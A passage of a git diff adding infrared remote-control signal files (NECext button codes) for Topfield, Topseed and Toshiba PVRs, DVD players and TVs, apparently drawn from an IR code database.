+protocol: NECext +address: 04 FF 00 00 +command: 03 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 04 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 06 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 07 00 00 00 +# +name: TV/STB +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 08 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1D 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 1F 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 40 00 00 00 +# +name: M2 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 41 00 00 00 +# +name: M3 +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 42 00 00 00 +# +name: UHF +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 43 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 44 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 47 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 04 FF 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir new file mode 100644 index 000000000..8b83c4b67 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 03 00 00 00 +# +name: TV/RADIO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 04 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: BLU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 45 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 46 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir new file mode 100644 index 000000000..a7f553e0f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 27 00 00 00 +# +name: KEY_PLAYER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 47 00 00 00 +# +name: KEY_PVR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_FILE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 49 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 4A 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 50 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_GOTO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir new file mode 100644 index 000000000..c578374d8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir @@ -0,0 +1,512 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE/STEP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: QUICK +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0B 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: Z_-_SLOW_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: REV_SLOW +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0E 00 00 00 +# +name: Z_-_SLOW_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0E 00 00 00 +# +name: V-REMOTE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 10 00 00 00 +# +name: REV_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: FWD_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: NAVI +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: Z_-_TRACK_(_-_) +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: Z_-_TRACK_(_+_) +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: TITLE_SEARCH +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: LAST_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2F 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: FL_DIMMER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: 3D +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: DNR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 49 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4A 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: COLOR_STREAM_SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DB 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DC 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: ZOOM_(_-_) +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F0 00 00 00 +# +name: ZOOM_(_+_) +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F1 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir new file mode 100644 index 000000000..726746d6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: ENTER_/_CH_RETURN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: CH_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: SUROUND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: FAV_CHAN_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: FAV_CH_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: FAV+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_+/CURSOR_RT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_+/CURSOR_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: FAV_CHAN_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: FAV_CH_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: FAV- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: VOLUME_-/CURSOR_LT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: CHANNEL_-/CURSOR_DN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: C.CAPTION +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 57 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 58 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 7E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 7F 00 00 00 +# +name: MENU/ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 +# +name: MENU_/_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 +# +name: XDS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 81 00 00 00 +# +name: ADV_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 82 00 00 00 +# +name: ADV_DN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 83 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir new file mode 100644 index 000000000..bff546bdf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: SCART +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: TXT/MIX +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# 